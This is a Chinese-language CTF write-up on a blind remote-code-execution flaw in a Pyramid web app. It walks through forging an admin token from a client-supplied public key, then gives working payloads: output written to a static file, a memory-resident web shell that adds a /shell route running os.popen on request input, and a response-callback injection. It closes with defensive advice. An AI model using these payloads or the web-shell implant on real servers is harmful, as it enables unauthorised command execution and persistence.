对pyramid框架无回显的学习---以一道ctf题目为例
字数 1034 2025-08-22 12:22:15
Pyramid框架无回显RCE漏洞利用与防御
1. 漏洞背景
本文基于强网杯决赛中的一道Pyramid框架CTF题目,展示了如何利用Pyramid框架中的无回显RCE漏洞。题目提供了一个基于Pyramid框架的Web应用,其中存在多个安全漏洞,包括:
- 身份验证绕过漏洞
- 命令执行漏洞
- 无回显情况下的数据外带技术
2. 代码分析
2.1 主要功能模块
app.py 核心功能
# 用户存储
users = []
super_user = ["admin"]
default_alg = "RS"
# 注册API
def register_api(request):
try:
username = request.params['username']
if username in super_user:
return Response("Not Allowed!")
password = request.params['password']
except:
return Response('Please Input username & password', status="500 Internal Server")
data = {"username": username, "password": password}
users.append(data)
token = util.data_encode(data, default_alg)
return Response("Here is your token: " + token)
# 系统测试接口(存在RCE漏洞)
def system_test(request):
try:
code = request.params['code']
token = request.params['token']
data = util.data_decode(token)
if data:
username = data['username']
print(username)
if username in super_user:
print("Welcome super_user!")
else:
return Response('Unauthorized', status="401 Unauthorized")
else:
return Response('Unauthorized', status="401 Unauthorized")
except:
return Response('Please Input code & token')
print(exec(code))
return Response("Success!")
util.py 关键功能
# 数据编码/解码函数
def data_encode(data, alg):
if alg not in ['HS', 'RS']:
raise "Algorithm must be HS or RS!"
else:
private_key, public_key = generate_keys()
if alg == 'RS':
signature = sign_data(private_key, data)
data_bytes = json.dumps(data).encode('utf-8')
encoded_data1 = base64.b64encode(data_bytes) # data
encoded_data2 = base64.b64encode(signature) # signature
encoded_data3 = base64.b64encode(alg.encode('utf-8')) # alg
encoded_data4 = base64.b64encode(public_key) # public_key
encoded_data = encoded_data1.decode() + '.' + encoded_data2.decode() + '.' + encoded_data3.decode() + '.' + encoded_data4.decode()
return encoded_data
else:
# HS算法实现...
def data_decode(encode_data):
try:
all_data = encode_data.split('.')
sig_bytes = all_data[1].replace(' ', '+').encode('utf-8')
data = base64.b64decode(all_data[0].replace(' ', '+')).decode('utf-8')
json_data = json.loads(data)
signature = base64.b64decode(sig_bytes)
alg = base64.b64decode(all_data[2]).decode('utf-8')
key = secret
if len(all_data) == 4:
key_bytes = all_data[3].replace(' ', '+').encode('utf-8')
key = base64.b64decode(key_bytes)
# 验证签名
is_valid = verify_signature(key, json_data, signature, alg)
if is_valid:
return json_data
else:
return False
except:
raise "something error"
2.2 漏洞点分析
-
身份验证绕过:
register_api函数检查用户名是否为admin,但可以通过本地修改代码绕过- 签名验证机制可以被伪造
-
命令执行漏洞:
system_test函数直接使用exec(code)执行用户输入的代码- 仅检查token中的用户名是否为
admin,但token可以被伪造
-
无回显问题:
- 命令执行结果不会直接返回给用户
- 需要通过其他方式获取执行结果
3. 漏洞利用技术
3.1 伪造admin token
-
本地修改
register_api函数,注释掉admin检查:# if username in super_user: # return Response("Not Allowed!") -
注册admin账号获取合法token:
POST /api/register username=admin&password=123456 -
获取的token格式为:
base64(data).base64(signature).base64(alg).base64(public_key)
3.2 无回显RCE利用方法
方法一:写文件
import os; os.system("echo `whoami` >> ./static/test.html")
然后访问/test.html查看命令执行结果。
方法二:内存马注入
exec("import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/shell');config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()")
内存马分析:
import sys
from pyramid.response import Response
# 获取当前应用的config和app对象
config = sys.modules['__main__'].config
app = sys.modules['__main__'].app
# 添加新路由/shell
config.add_route('shell', '/shell')
# 添加视图函数,执行系统命令并返回结果
config.add_view(
lambda request: Response(
__import__('os').popen(request.params.get('1')).read()
),
route_name='shell'
)
# 重新生成WSGI应用
app = config.make_wsgi_app()
使用方式:访问/shell?1=whoami即可执行命令并查看结果。
方法三:利用response回调函数
print(exec("request.add_response_callback(lambda request, response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))"))
此方法通过修改response对象来注入命令执行结果。
4. 防御措施
-
输入验证:
- 严格验证用户输入,特别是代码执行相关参数
- 使用白名单机制限制可执行的操作
-
身份验证加强:
- 使用更安全的token生成机制
- 服务器端存储密钥,避免客户端可伪造
-
安全编码实践:
- 避免直接使用
exec等危险函数 - 使用安全的沙箱环境执行受限代码
- 避免直接使用
-
日志与监控:
- 记录所有敏感操作
- 监控异常行为模式
-
框架安全配置:
- 限制路由添加权限
- 禁用不必要的功能
5. 总结
本案例展示了Pyramid框架中一个典型的安全漏洞链:
- 身份验证绕过 → 2. 命令注入 → 3. 无回显利用
通过多种技术手段实现了在限制条件下的漏洞利用,同时也提醒开发者在设计系统时需要全面考虑安全防护措施,特别是在权限控制、输入验证和危险函数使用等方面。